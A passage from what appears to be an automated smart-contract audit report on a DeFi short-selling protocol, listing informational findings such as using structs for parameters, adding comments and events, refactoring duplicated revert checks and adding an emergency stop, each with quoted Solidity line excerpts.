102: if (dethAmount == 0) revert Errors.ParameterIsZero();
110: uint256 withdrawalFeePct = LibBridgeRouter.withdrawalFeePct(bridgePointer, rethBridge, stethBridge);
122: emit Events.Withdraw(bridge, msg.sender, dethAmount, fee);
134: if (dethAmount == 0) revert Errors.ParameterIsZero();
143: emit Events.WithdrawTapp(bridge, msg.sender, dethAmount);
164: if (vault == 0) revert Errors.InvalidBridge();
ExitShortFacet.sol (53-53, 61-61, 62-62, 67-73, 75-75, 99-99, 103-103, 113-113, 115-115, 120-126, 128-128, 152-152, 158-164, 174-174, 178-178, 188-188, 196-196, 197-197, 201-201, 201-201, 204-204, 208-208, 210-210):
53: if (buybackAmount > ercDebt || buybackAmount == 0) revert Errors.InvalidBuyback();
61: LibSRUtil.disburseCollateral(asset, msg.sender, collateral, short.dethYieldRate, short.updatedAt);
62: LibShortRecord.deleteShortRecord(asset, msg.sender, id);
67: LibSRUtil.checkShortMinErc({
68: asset: asset,
69: initialStatus: initialStatus,
70: shortOrderId: shortOrderId,
71: shortRecordId: id,
72: shorter: msg.sender
73: });
75: emit Events.ExitShortWallet(asset, msg.sender, id, buybackAmount);
99: if (buybackAmount == 0 || buybackAmount > ercDebt) revert Errors.InvalidBuyback();
103: if (AssetUser.ercEscrowed < buybackAmount) revert Errors.InsufficientERCEscrowed();
113: LibSRUtil.disburseCollateral(asset, msg.sender, collateral, short.dethYieldRate, short.updatedAt);
115: LibShortRecord.deleteShortRecord(asset, msg.sender, id);
120: LibSRUtil.checkShortMinErc({
121: asset: asset,
122: initialStatus: initialStatus,
123: shortOrderId: shortOrderId,
124: shortRecordId: id,
125: shorter: msg.sender
126: });
128: emit Events.ExitShortErcEscrowed(asset, msg.sender, id, buybackAmount);
152: LibOrders.updateOracleAndStartingShortViaTimeBidOnly(e.asset, shortHintArray);
158: e.shortOrderIsCancelled = LibSRUtil.checkCancelShortOrder({
159: asset: asset,
160: initialStatus: short.status,
161: shortOrderId: shortOrderId,
162: shortRecordId: id,
163: shorter: msg.sender
164: });
174: if (e.buybackAmount == 0 || e.buybackAmount > e.ercDebt) revert Errors.InvalidBuyback();
178: if (ethAmount > e.collateral) revert Errors.InsufficientCollateral();
188: if (e.ethFilled == 0) revert Errors.ExitShortPriceTooLow();
196: LibSRUtil.disburseCollateral(e.asset, msg.sender, e.collateral, short.dethYieldRate, short.updatedAt);
197: LibShortRecord.deleteShortRecord(e.asset, msg.sender, id); // prevent reentrancy
201: if (short.ercDebt < LibAsset.minShortErc(asset)) revert Errors.CannotLeaveDustAmount();
201: if (short.ercDebt < LibAsset.minShortErc(asset)) revert Errors.CannotLeaveDustAmount();
204: if (getCollateralRatioNonPrice(short) < e.beforeExitCR) revert Errors.PostExitCRLtPreExitCR();
208: LibSRUtil.disburseCollateral(e.asset, msg.sender, e.ethFilled, short.dethYieldRate, short.updatedAt);
210: emit Events.ExitShort(asset, msg.sender, id, e.ercFilled);
PrimaryLiquidationFacet.sol (54-54, 56-56, 59-65, 68-68, 73-73, 75-75, 75-75, 87-87, 109-109, 126-126, 134-134, 135-135, 137-137, 138-138, 139-139, 174-174, 230-230, 246-246, 247-247, 260-260, 265-265, 267-276, 282-288):
54: if (msg.sender == shorter) revert Errors.CannotLiquidateSelf();
56: if (shortHintArray.length > 10) revert Errors.TooManyHints();
59: LibSRUtil.checkCancelShortOrder({
60: asset: asset,
61: initialStatus: s.shortRecords[asset][shorter][id].status,
62: shortOrderId: shortOrderId,
63: shortRecordId: id,
64: shorter: shorter
65: });
68: LibOrders.updateOracleAndStartingShortViaTimeBidOnly(asset, shortHintArray);
73: if (m.cRatio >= LibAsset.liquidationCR(m.asset)) {
75: if (!LibSRUtil.checkRecoveryModeViolation(m.asset, m.cRatio, m.oraclePrice)) revert Errors.SufficientCollateral();
75: if (!LibSRUtil.checkRecoveryModeViolation(m.asset, m.cRatio, m.oraclePrice)) revert Errors.SufficientCollateral();
87: emit Events.Liquidate(asset, shorter, id, msg.sender, m.ercDebtMatched);
109: revert Errors.NoSells();
126: LibShortRecord.updateErcDebt(asset, shorter, id);
134: m.penaltyCR = LibAsset.penaltyCR(asset);
135: m.oraclePrice = LibOracle.getPrice(asset);
137: m.forcedBidPriceBuffer = LibAsset.forcedBidPriceBuffer(asset);
138: m.callerFeePct = LibAsset.callerFeePct(m.asset);
139: m.tappFeePct = LibAsset.tappFeePct(m.asset);
174: revert Errors.CannotSocializeDebt();
230: if (a > type(uint88).max) revert Errors.InvalidAmount();
246: LibSRUtil.disburseCollateral(m.asset, m.shorter, m.short.collateral, m.short.dethYieldRate, m.short.updatedAt);
247: LibShortRecord.deleteShortRecord(m.asset, m.shorter, m.short.id);
260: LibSRUtil.disburseCollateral(m.asset, m.shorter, decreaseCol, m.short.dethYieldRate, m.short.updatedAt);
265: LibShortRecord.deleteShortRecord(m.asset, m.shorter, m.short.id);
267: LibShortRecord.fillShortRecord(
268: m.asset,
269: address(this),
270: C.SHORT_STARTING_ID,
271: SR.FullyFilled,
272: m.short.collateral,
273: m.short.ercDebt,
274: s.asset[m.asset].ercDebtRate,
275: m.short.dethYieldRate
276: );
282: LibSRUtil.checkShortMinErc({
283: asset: m.asset,
284: initialStatus: m.short.status,
285: shortOrderId: m.shortOrderId,
286: shortRecordId: m.short.id,
287: shorter: m.shorter
288: });
RedemptionFacet.sol (62-62, 66-66, 68-68, 70-70, 73-73, 75-75, 112-112, 113-113, 138-138, 143-143, 146-146, 154-154, 202-202, 205-205, 208-208, 210-210, 229-229, 235-235, 237-237, 237-237, 240-240, 244-244, 250-250, 251-251, 284-284, 289-291, 290-290, 290-290, 299-299, 314-314, 315-315, 315-315, 318-318, 333-333, 353-353, 354-354, 354-354, 358-358, 361-361, 376-376, 377-377, 387-387, 396-396, 401-401):
62: if (proposalInput.length > type(uint8).max) revert Errors.TooManyProposals();
66: uint256 minShortErc = LibAsset.minShortErc(p.asset);
68: if (redemptionAmount < minShortErc) revert Errors.RedemptionUnderMinShortErc();
70: if (redeemerAssetUser.ercEscrowed < redemptionAmount) revert Errors.InsufficientERCEscrowed();
73: if (redeemerAssetUser.SSTORE2Pointer != address(0)) revert Errors.ExistingProposedRedemptions();
75: p.oraclePrice = LibOracle.getPrice(p.asset);
112: if (shortOrder.shortRecordId != p.shortId || shortOrder.addr != p.shorter) revert Errors.InvalidShortOrder();
113: LibOrders.cancelShort(asset, p.shortOrderId);
138: LibSRUtil.disburseCollateral(p.asset, p.shorter, p.colRedeemed, currentSR.dethYieldRate, currentSR.updatedAt);
143: if (p.totalAmountProposed < minShortErc) revert Errors.RedemptionUnderMinShortErc();
146: redeemerAssetUser.SSTORE2Pointer = SSTORE2.write(slate);
154: uint32 protocolTime = LibOrders.getOffsetTime();
202: redeemerAssetUser.timeProposed = LibOrders.getOffsetTime();
205: if (redemptionFee > maxRedemptionFee) revert Errors.RedemptionFeeTooHigh();
208: if (VaultUser.ethEscrowed < redemptionFee) revert Errors.InsufficientETHEscrowed();
210: emit Events.ProposeRedemption(p.asset, msg.sender);
229: if (redeemer == msg.sender) revert Errors.CannotDisputeYourself();
235: if (redeemerAssetUser.SSTORE2Pointer == address(0)) revert Errors.InvalidRedemption();
237: if (LibOrders.getOffsetTime() >= redeemerAssetUser.timeToDispute) revert Errors.TimeToDisputeHasElapsed();
237: if (LibOrders.getOffsetTime() >= redeemerAssetUser.timeToDispute) revert Errors.TimeToDisputeHasElapsed();
240: LibBytes.readProposalData(redeemerAssetUser.SSTORE2Pointer, redeemerAssetUser.slateLength);
244: revert Errors.CannotDisputeWithRedeemerProposal();
250: uint256 minShortErc = LibAsset.minShortErc(d.asset);
251: if (!validRedemptionSR(disputeSR, d.redeemer, disputeShorter, minShortErc)) revert Errors.InvalidRedemption();
284: emit Events.DisputeRedemptionAll(d.asset, redeemer);
289: uint256 penaltyPct = LibOrders.min(
290: LibOrders.max(LibAsset.callerFeePct(d.asset), (currentProposal.CR - disputeCR).div(currentProposal.CR)), 0.33 ether
291: );
290: LibOrders.max(LibAsset.callerFeePct(d.asset), (currentProposal.CR - disputeCR).div(currentProposal.CR)), 0.33 ether
290: LibOrders.max(LibAsset.callerFeePct(d.asset), (currentProposal.CR - disputeCR).div(currentProposal.CR)), 0.33 ether
299: revert Errors.InvalidRedemptionDispute();
314: if (redeemerAssetUser.SSTORE2Pointer == address(0)) revert Errors.InvalidRedemption();
315: if (LibOrders.getOffsetTime() < redeemerAssetUser.timeToDispute) revert Errors.TimeToDisputeHasNotElapsed();
315: if (LibOrders.getOffsetTime() < redeemerAssetUser.timeToDispute) revert Errors.TimeToDisputeHasNotElapsed();
318: LibBytes.readProposalData(redeemerAssetUser.SSTORE2Pointer, redeemerAssetUser.slateLength);
333: emit Events.ClaimRedemption(asset, msg.sender);
353: if (redeemerAssetUser.SSTORE2Pointer == address(0)) revert Errors.InvalidRedemption();
354: if (redeemerAssetUser.timeToDispute > LibOrders.getOffsetTime()) revert Errors.TimeToDisputeHasNotElapsed();
354: if (redeemerAssetUser.timeToDispute > LibOrders.getOffsetTime()) revert Errors.TimeToDisputeHasNotElapsed();
358: LibBytes.readProposalData(redeemerAssetUser.SSTORE2Pointer, claimIndex + 1);
361: if (claimProposal.shorter != msg.sender && claimProposal.shortId != id) revert Errors.CanOnlyClaimYourShort();
376: LibSRUtil.disburseCollateral(asset, shorter, collateral, shortRecord.dethYieldRate, shortRecord.updatedAt);
377: LibShortRecord.deleteShortRecord(asset, shorter, shortId);
387: uint32 protocolTime = LibOrders.getOffsetTime();
396: newBaseRate = LibOrders.min(newBaseRate, 1 ether); // cap baseRate at a maximum of 100%
401: uint256 redemptionRate = LibOrders.min((Asset.baseRate + 0.005 ether), 1 ether);
ShortOrdersFacet.sol (48-48, 50-50, 52-52, 56-56, 56-56, 58-58, 59-59, 62-62, 69-69, 76-76, 76-76, 79-79, 80-80, 81-81, 86-86, 88-88):
48: incomingShort.shortRecordId = LibShortRecord.createShortRecord(asset, msg.sender, SR.Closed, 0, 0, 0, 0, 0);
50: uint256 cr = LibOrders.convertCR(shortOrderCR);
52: revert Errors.InvalidCR();
56: p.minShortErc = cr < 1 ether ? LibAsset.minShortErc(asset).mul(1 ether + cr.inv()) : LibAsset.minShortErc(asset);
56: p.minShortErc = cr < 1 ether ? LibAsset.minShortErc(asset).mul(1 ether + cr.inv()) : LibAsset.minShortErc(asset);
58: p.minAskEth = LibAsset.minAskEth(asset);
59: if (ercAmount < p.minShortErc || p.eth < p.minAskEth) revert Errors.OrderUnderMinimumSize();
62: if (s.vaultUser[Asset.vault][msg.sender].ethEscrowed < p.eth.mul(cr)) revert Errors.InsufficientETHEscrowed();
69: incomingShort.creationTime = LibOrders.getOffsetTime();
76: LibOrders.updateOracleAndStartingShortViaThreshold(asset, LibOracle.getPrice(asset), incomingShort, shortHintArray);
76: LibOrders.updateOracleAndStartingShortViaThreshold(asset, LibOracle.getPrice(asset), incomingShort, shortHintArray);
79: p.oraclePrice = LibOracle.getSavedOrSpotOraclePrice(asset);
80: if (LibSRUtil.checkRecoveryModeViolation(asset, cr, p.oraclePrice)) {
81: revert Errors.BelowRecoveryModeCR();
86: LibOrders.addShort(asset, incomingShort, orderHintArray);
88: LibOrders.sellMatchAlgo(asset, incomingShort, orderHintArray, p.minAskEth);
LibBridgeRouter.sol (75-75, 105-105, 118-118, 122-122):
75: revert Errors.MustUseExistingBridgeCredit();
105: revert Errors.MustUseExistingBridgeCredit();
118: uint256 unitRethTWAP = OracleLibrary.estimateTWAP(1 ether, 30 minutes, VAULT.RETH_WETH, VAULT.RETH, C.WETH);
122: uint256 unitWstethTWAP = OracleLibrary.estimateTWAP(1 ether, 30 minutes, VAULT.WSTETH_WETH, VAULT.WSTETH, C.WETH);
LibBytes.sol (12-12):
12: bytes memory slate = SSTORE2.read(SSTORE2Pointer);
LibOracle.sol (25-25, 60-60, 128-128, 134-134, 139-139, 169-169):
25: if (address(oracle) == address(0)) revert Errors.InvalidAsset();
60: if (roundID == 0 || price == 0 || timeStamp > block.timestamp) revert Errors.InvalidPrice();
128: if (invalidFetchData) revert Errors.InvalidPrice();
134: if (twapPrice == 0) revert Errors.InvalidTwapPrice();
139: if (wethBal < 100 ether) revert Errors.InsufficientEthInLiquidityPool();
169: if (LibOrders.getOffsetTime() - getTime(asset) < 15 minutes) {
LibOrders.sol (142-142, 218-218, 301-301, 608-608, 631-633, 642-642, 679-688, 718-718, 730-730, 778-778, 804-804, 813-813, 850-850, 859-859, 874-874, 887-887, 889-889, 901-901, 903-903, 911-911, 913-922, 942-942, 959-959):
142: uint88 eth = order.ercAmount.mulU88(order.price).mulU88(LibOrders.convertCR(order.shortOrderCR));
218: emit Events.CreateOrder(asset, incomingOrder.addr, incomingOrder.orderType, incomingOrder.id, incomingOrder.ercAmount);
301: emit Events.CancelOrder(asset, id, orders[asset][id].orderType);
608: if (highestBid.ercAmount.mul(highestBid.price) < LibAsset.minBidEth(asset).mul(C.DUST_FACTOR)) {
631: emit Events.MatchOrder(
632: asset, incomingOrder.addr, incomingOrder.orderType, incomingOrder.id, matchTotal.fillEth, matchTotal.fillErc
633: );
642: LibOrders.handlePriceDiscount(asset, matchTotal.lastMatchPrice);
679: LibShortRecord.fillShortRecord(
680: asset,
681: incomingShort.addr,
682: incomingShort.shortRecordId,
683: status,
684: matchTotal.fillEth,
685: matchTotal.fillErc,
686: Asset.ercDebtRate,
687: Vault.dethYieldRate
688: );
718: matchTotal.colUsed += incomingSell.price.mulU88(fillErc).mulU88(LibOrders.convertCR(incomingSell.shortOrderCR));
730: uint256 oraclePrice = LibOracle.getOraclePrice(asset);
778: revert Errors.BadShortHint();
804: uint256 timeDiff = getOffsetTime() - LibOracle.getTime(asset);
813: uint256 savedPrice = LibOracle.getPrice(asset);
850: revert Errors.BadHintIdArray();
859: if (orderType == O.Cancelled || orderType == O.Matched) revert Errors.NotActiveOrder();
874: revert Errors.NotActiveOrder();
887: if (orderType == O.Cancelled || orderType == O.Matched) revert Errors.NotActiveOrder();
889: uint88 eth = shortOrder.ercAmount.mulU88(shortOrder.price).mulU88(LibOrders.convertCR(shortOrder.shortOrderCR));
901: LibShortRecord.deleteShortRecord(asset, shorter, shortRecordId);
903: uint88 minShortErc = uint88(LibAsset.minShortErc(asset));
911: uint88 collateralDiff = shortOrder.price.mulU88(debtDiff).mulU88(LibOrders.convertCR(shortOrder.shortOrderCR));
913: LibShortRecord.fillShortRecord(
914: asset,
915: shorter,
916: shortRecordId,
917: SR.FullyFilled,
918: collateralDiff,
919: debtDiff,
920: Asset.ercDebtRate,
921: Vault.dethYieldRate
922: );
942: uint256 savedPrice = LibOracle.getPrice(asset);
959: uint256 savedPrice = LibOracle.getPrice(asset);
LibSRUtil.sol (40-40, 57-57, 61-61, 64-64, 66-66, 79-79, 84-84, 90-90, 95-95, 98-98, 109-109, 130-130, 131-131, 135-135, 139-139, 140-140, 142-144):
40: bool isNotRecentlyModified = LibOrders.getOffsetTime() - updatedAt > C.YIELD_DELAY_SECONDS;
57: if (shortOrder.shortRecordId != shortRecordId || shortOrder.addr != shorter) revert Errors.InvalidShortOrder();
61: LibOrders.cancelShort(asset, shortOrderId);
64: } else if (shortRecord.ercDebt < LibAsset.minShortErc(asset)) {
66: LibOrders.cancelShort(asset, shortOrderId);
79: uint256 minShortErc = LibAsset.minShortErc(asset);
84: if (shortOrder.shortRecordId != shortRecordId || shortOrder.addr != shorter) revert Errors.InvalidShortOrder();
90: LibOrders.cancelShort(asset, shortOrderId);
95: if (shortOrder.ercAmount + shortRecord.ercDebt < minShortErc) revert Errors.CannotLeaveDustAmount();
98: revert Errors.CannotLeaveDustAmount();
109: uint256 recoveryCR = LibAsset.recoveryCR(asset);
130: if (short.status == SR.Closed) revert Errors.OriginalShortRecordCancelled();
131: if (short.ercDebt == 0) revert Errors.OriginalShortRecordRedeemed();
135: LibOrders.cancelShort(asset, nft.shortOrderId);
139: LibShortRecord.deleteShortRecord(asset, from, nft.shortRecordId);
140: LibBridgeRouter.transferBridgeCredit(asset, from, to, short.collateral);
142: uint8 id = LibShortRecord.createShortRecord(
143: asset, to, SR.FullyFilled, short.collateral, short.ercDebt, short.ercDebtRate, short.dethYieldRate, tokenId
144: );
UniswapOracleLibrary.sol (33-33, 39-39, 39-39, 41-41, 43-43, 43-43, 52-52):
33: uint160 sqrtRatioX96 = TickMath.getSqrtRatioAtTick(tick);
39: baseToken < quoteToken ? U256.mulDiv(ratioX192, baseAmount, 1 << 192) : U256.mulDiv(1 << 192, baseAmount, ratioX192);
39: baseToken < quoteToken ? U256.mulDiv(ratioX192, baseAmount, 1 << 192) : U256.mulDiv(1 << 192, baseAmount, ratioX192);
41: uint256 ratioX128 = U256.mulDiv(sqrtRatioX96, sqrtRatioX96, 1 << 64);
43: baseToken < quoteToken ? U256.mulDiv(ratioX128, baseAmount, 1 << 128) : U256.mulDiv(1 << 128, baseAmount, ratioX128);
43: baseToken < quoteToken ? U256.mulDiv(ratioX128, baseAmount, 1 << 128) : U256.mulDiv(1 << 128, baseAmount, ratioX128);
52: if (secondsAgo <= 0) revert Errors.InvalidTWAPSecondsAgo();
[48] Use a struct to encapsulate multiple function parameters
If a function has too many parameters, replacing them with a struct can improve code readability and maintainability, increase reusability, and reduce the likelihood of errors when passing the parameters.
BidOrdersFacet.sol (40-47, 65-68, 77-85):
40: function createBid(
41: address asset,
42: uint80 price,
43: uint88 ercAmount,
44: bool isMarketOrder,
45: MTypes.OrderHint[] calldata orderHintArray,
46: uint16[] calldata shortHintArray
47: ) external isNotFrozen(asset) onlyValidAsset(asset) nonReentrant returns (uint88 ethFilled, uint88 ercAmountLeft) {
65: function createForcedBid(address sender, address asset, uint80 price, uint88 ercAmount, uint16[] calldata shortHintArray)
66: external
67: onlyDiamond
68: returns (uint88 ethFilled, uint88 ercAmountLeft)
77: function _createBid(
78: address sender,
79: address asset,
80: uint80 price,
81: uint88 ercAmount,
82: bool isMarketOrder,
83: MTypes.OrderHint[] memory orderHintArray,
84: uint16[] memory shortHintArray
85: ) private returns (uint88 ethFilled, uint88 ercAmountLeft) {
ExitShortFacet.sol (142-149):
142: function exitShort(
143: address asset,
144: uint8 id,
145: uint88 buybackAmount,
146: uint80 price,
147: uint16[] memory shortHintArray,
148: uint16 shortOrderId
149: ) external isNotFrozen(asset) nonReentrant onlyValidShortRecord(asset, msg.sender, id) {
PrimaryLiquidationFacet.sol (47-52):
47: function liquidate(address asset, address shorter, uint8 id, uint16[] memory shortHintArray, uint16 shortOrderId)
48: external
49: isNotFrozen(asset)
50: nonReentrant
51: onlyValidShortRecord(asset, shorter, id)
52: returns (uint88, uint88)
RedemptionFacet.sol (224-228):
224: function disputeRedemption(address asset, address redeemer, uint8 incorrectIndex, address disputeShorter, uint8 disputeShortId)
225: external
226: isNotFrozen(asset)
227: nonReentrant
228: {
ShortOrdersFacet.sol (35-42):
35: function createLimitShort(
36: address asset,
37: uint80 price,
38: uint88 ercAmount,
39: MTypes.OrderHint[] memory orderHintArray,
40: uint16[] memory shortHintArray,
41: uint16 shortOrderCR
42: ) external isNotFrozen(asset) onlyValidAsset(asset) nonReentrant {
[49] Returning a struct instead of a bunch of variables is better
If a function returns too many variables, replacing them with a struct can improve code readability, maintainability and reusability.
BidOrdersFacet.sol (40-47, 65-68, 77-85, 130-135, 275-280):
40: function createBid(
41: address asset,
42: uint80 price,
43: uint88 ercAmount,
44: bool isMarketOrder,
45: MTypes.OrderHint[] calldata orderHintArray,
46: uint16[] calldata shortHintArray
47: ) external isNotFrozen(asset) onlyValidAsset(asset) nonReentrant returns (uint88 ethFilled, uint88 ercAmountLeft) {
65: function createForcedBid(address sender, address asset, uint80 price, uint88 ercAmount, uint16[] calldata shortHintArray)
66: external
67: onlyDiamond
68: returns (uint88 ethFilled, uint88 ercAmountLeft)
77: function _createBid(
78: address sender,
79: address asset,
80: uint80 price,
81: uint88 ercAmount,
82: bool isMarketOrder,
83: MTypes.OrderHint[] memory orderHintArray,
84: uint16[] memory shortHintArray
85: ) private returns (uint88 ethFilled, uint88 ercAmountLeft) {
130: function bidMatchAlgo(
131: address asset,
132: STypes.Order memory incomingBid,
133: MTypes.OrderHint[] memory orderHintArray,
134: MTypes.BidMatchAlgo memory b
135: ) private returns (uint88 ethFilled, uint88 ercAmountLeft) {
275: function matchIncomingBid(
276: address asset,
277: STypes.Order memory incomingBid,
278: MTypes.Match memory matchTotal,
279: MTypes.BidMatchAlgo memory b
280: ) private returns (uint88 ethFilled, uint88 ercAmountLeft) {
BridgeRouterFacet.sol (156-156):
156: function _getVault(address bridge) private view returns (uint256 vault, uint256 bridgePointer) {
PrimaryLiquidationFacet.sol (47-52):
47: function liquidate(address asset, address shorter, uint8 id, uint16[] memory shortHintArray, uint16 shortOrderId)
48: external
49: isNotFrozen(asset)
50: nonReentrant
51: onlyValidShortRecord(asset, shorter, id)
52: returns (uint88, uint88)
UniswapOracleLibrary.sol (11-14):
11: function observe(uint32[] calldata secondsAgos)
12: external
13: view
14: returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
[50] Contract variables should have comments
Consider adding some comments on non-public contract variables to explain what they are supposed to do. This will help for future code reviews.
BridgeRouterFacet.sol (26-26, 27-27):
26: address private immutable rethBridge;
27: address private immutable stethBridge;
ExitShortFacet.sol (26-26):
26: address private immutable dusd;
PrimaryLiquidationFacet.sol (28-28):
28: address private immutable dusd;
[51] Function state mutability can be restricted to view
Function state mutability can be restricted to view
LibOrders.sol (320-326, 532-537):
320: function _reuseOrderIds(
321: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
322: address asset,
323: uint16 id,
324: uint16 prevHEAD,
325: O cancelledOrMatched
326: ) private {
532: function _updateOrders(
533: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
534: address asset,
535: uint16 headId,
536: uint16 lastMatchedId
537: ) private {
[52] Inconsistent spacing in comments
The comments below are in the //x
format, which differs from the commonly used idiomatic comment syntax of //<space>x
. It is recommended to use a consistent comment syntax throughout.
PrimaryLiquidationFacet.sol (92):
92: //PRIVATE FUNCTIONS
LibOrders.sol (514):
514: //@handles moving backwards only.
[53] Missing event for critical changes
Events should be emitted when critical changes are made to the contracts.
There are 13 instances:
PrimaryLiquidationFacet.sol (122-124):
122: function _setLiquidationStruct(address asset, address shorter, uint8 id, uint16 shortOrderId)
123: private
124: returns (MTypes.PrimaryLiquidation memory)
LibBridgeRouter.sol (21-36, 198-202):
21: function addDeth(uint256 vault, uint256 bridgePointer, uint88 amount) internal {
22: AppStorage storage s = appStorage();
23: STypes.VaultUser storage VaultUser = s.vaultUser[vault][msg.sender];
24:
25: if (vault == VAULT.ONE) {
26: // Only VAULT.ONE has mixed LST
27: if (bridgePointer == VAULT.BRIDGE_RETH) {
28: VaultUser.bridgeCreditReth += amount;
29: } else {
30: VaultUser.bridgeCreditSteth += amount;
31: }
32: }
33:
34: VaultUser.ethEscrowed += amount;
35: s.vault[vault].dethTotal += amount;
36: }
198: function removeDeth(uint256 vault, uint88 amount, uint88 fee) internal {
199: AppStorage storage s = appStorage();
200: s.vaultUser[vault][msg.sender].ethEscrowed -= (amount + fee);
201: s.vault[vault].dethTotal -= amount;
202: }
LibOracle.sol (149-153):
149: function setPriceAndTime(address asset, uint256 oraclePrice, uint32 oracleTime) internal {
150: AppStorage storage s = appStorage();
151: s.bids[asset][C.HEAD].ercAmount = uint80(oraclePrice);
152: s.bids[asset][C.HEAD].creationTime = oracleTime;
153: }
LibOrders.sol (82-82, 103-119, 128-144, 474-490, 532-545, 728-728, 783-800, 810-824):
82: function addBid(address asset, STypes.Order memory order, MTypes.OrderHint[] memory orderHintArray) internal {
103: function addAsk(address asset, STypes.Order memory order, MTypes.OrderHint[] memory orderHintArray) internal {
104: AppStorage storage s = appStorage();
105: uint16 hintId;
106:
107: if (order.orderType == O.MarketAsk) {
108: return;
109: }
110: uint16 nextId = s.asks[asset][C.HEAD].nextId;
111: if (order.price < s.asks[asset][nextId].price || nextId == C.TAIL) {
112: hintId = C.HEAD;
113: } else {
114: hintId = findOrderHintId(s.asks, asset, orderHintArray);
115: }
116: addOrder(s.asks, asset, order, hintId);
117:
118: s.assetUser[asset][order.addr].ercEscrowed -= order.ercAmount;
119: }
128: function addShort(address asset, STypes.Order memory order, MTypes.OrderHint[] memory orderHintArray) internal {
129: AppStorage storage s = appStorage();
130: uint16 hintId;
131: uint16 nextId = s.shorts[asset][C.HEAD].nextId;
132: if (order.price < s.shorts[asset][nextId].price || nextId == C.TAIL) {
133: hintId = C.HEAD;
134: } else {
135: hintId = findOrderHintId(s.shorts, asset, orderHintArray);
136: }
137:
138: // @dev: Only need to set this when placing incomingShort onto market
139: addOrder(s.shorts, asset, order, hintId);
140: updateStartingShortIdViaShort(asset, order);
141: uint256 vault = s.asset[asset].vault;
142: uint88 eth = order.ercAmount.mulU88(order.price).mulU88(LibOrders.convertCR(order.shortOrderCR));
143: s.vaultUser[vault][order.addr].ethEscrowed -= eth;
144: }
474: function updateBidOrdersOnMatch(
475: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
476: address asset,
477: uint16 id,
478: bool isOrderFullyFilled
479: ) internal {
480: // BEFORE: HEAD <-> ... <-> (ID) <-> NEXT
481: // AFTER : HEAD <------------------> NEXT
482: if (isOrderFullyFilled) {
483: _updateOrders(orders, asset, C.HEAD, id);
484: } else {
485: // BEFORE: HEAD <-> ... <-> (ID)
486: // AFTER : HEAD <---------> (ID)
487: orders[asset][id].prevId = C.HEAD;
488: orders[asset][C.HEAD].nextId = id;
489: }
490: }
532: function _updateOrders(
533: mapping(address => mapping(uint16 => STypes.Order)) storage orders,
534: address asset,
535: uint16 headId,
536: uint16 lastMatchedId
537: ) private {
538: // BEFORE: FIRST <-> ... <-> (LAST) <-> NEXT
539: // AFTER : FIRST <--------------------> NEXT
540: uint16 nextAskId = orders[asset][lastMatchedId].nextId;
541: if (nextAskId != C.TAIL) {
542: orders[asset][nextAskId].prevId = headId;
543: }
544: orders[asset][headId].nextId = nextAskId;
545: }
728: function _updateOracleAndStartingShort(address asset, uint16[] memory shortHintArray) private {
783: function updateOracleAndStartingShortViaThreshold(
784: address asset,
785: uint256 savedPrice,
786: STypes.Order memory incomingOrder,
787: uint16[] memory shortHintArray
788: ) internal {
789: bool orderPriceGtThreshold;
790: // @dev handle .5% deviations in either directions
791: if (incomingOrder.price >= savedPrice) {
792: orderPriceGtThreshold = (incomingOrder.price - savedPrice).div(savedPrice) > 0.005 ether;
793: } else {
794: orderPriceGtThreshold = (savedPrice - incomingOrder.price).div(savedPrice) > 0.005 ether;
795: }
796:
797: if (orderPriceGtThreshold) {
798: _updateOracleAndStartingShort(asset, shortHintArray);
799: }
800: }
810: function updateStartingShortIdViaShort(address asset, STypes.Order memory incomingShort) internal {
811: AppStorage storage s = appStorage();
812: STypes.Asset storage Asset = s.asset[asset];
813: uint256 savedPrice = LibOracle.getPrice(asset);
814: uint256 startingShortPrice = s.shorts[asset][Asset.startingShortId].price;
815: bool shortOrdersIsEmpty = s.shorts[asset][C.HEAD].nextId == C.TAIL;
816:
817: if (shortOrdersIsEmpty || Asset.startingShortId == C.HEAD) {
818: if (incomingShort.price >= savedPrice) {
819: Asset.startingShortId = incomingShort.id;
820: }
821: } else if (incomingShort.price < startingShortPrice && incomingShort.price >= savedPrice) {
822: Asset.startingShortId = incomingShort.id;
823: }
824: }
LibSRUtil.sol (151-162):
151: function updateErcDebt(STypes.ShortRecord storage short, address asset) internal {
152: AppStorage storage s = appStorage();
153:
154: // Distribute ercDebt
155: uint64 ercDebtRate = s.asset[asset].ercDebtRate;
156: uint88 ercDebt = short.ercDebt.mulU88(ercDebtRate - short.ercDebtRate);
157:
158: if (ercDebt > 0) {
159: short.ercDebt += ercDebt;
160: short.ercDebtRate = ercDebtRate;
161: }
162: }
[54] Duplicated require()
/revert()
checks should be refactored
Refactoring duplicate require()
/revert()
checks into a modifier or function can make the code more concise, readable and maintainable, and less likely to make errors or omissions when modifying the require()
or revert()
.
BridgeRouterFacet.sol (64-64, 102-102):
/// @audit Duplicated on line 83
64: if (amount < C.MIN_DEPOSIT) revert Errors.UnderMinimumDeposit();
/// @audit Duplicated on line 134
102: if (dethAmount == 0) revert Errors.ParameterIsZero();
ExitShortFacet.sol (53-53):
/// @audit Duplicated on line 99, 174
53: if (buybackAmount > ercDebt || buybackAmount == 0) revert Errors.InvalidBuyback();
RedemptionFacet.sol (68-68, 235-235, 315-315):
/// @audit Duplicated on line 143
68: if (redemptionAmount < minShortErc) revert Errors.RedemptionUnderMinShortErc();
/// @audit Duplicated on line 251, 314, 353
235: if (redeemerAssetUser.SSTORE2Pointer == address(0)) revert Errors.InvalidRedemption();
/// @audit Duplicated on line 354
315: if (LibOrders.getOffsetTime() < redeemerAssetUser.timeToDispute) revert Errors.TimeToDisputeHasNotElapsed();
[55] Consider adding emergency-stop functionality
Adding a way to quickly halt protocol functionality in an emergency, rather than having to pause individual contracts one-by-one, will make in-progress hack mitigation faster and much less stressful.
BidOrdersFacet.sol (20-20):
20: contract BidOrdersFacet is Modifiers {
BridgeRouterFacet.sol (18-18):
18: contract BridgeRouterFacet is Modifiers {
ExitShortFacet.sol (19-19):
19: contract ExitShortFacet is Modifiers {
PrimaryLiquidationFacet.sol (21-21):
21: contract PrimaryLiquidationFacet is Modifiers {
RedemptionFacet.sol (21-21):
21: contract RedemptionFacet is Modifiers {
ShortOrdersFacet.sol (18-18):
18: contract ShortOrdersFacet is Modifiers {
[56] Use the Modern Upgradeable Contract Paradigm
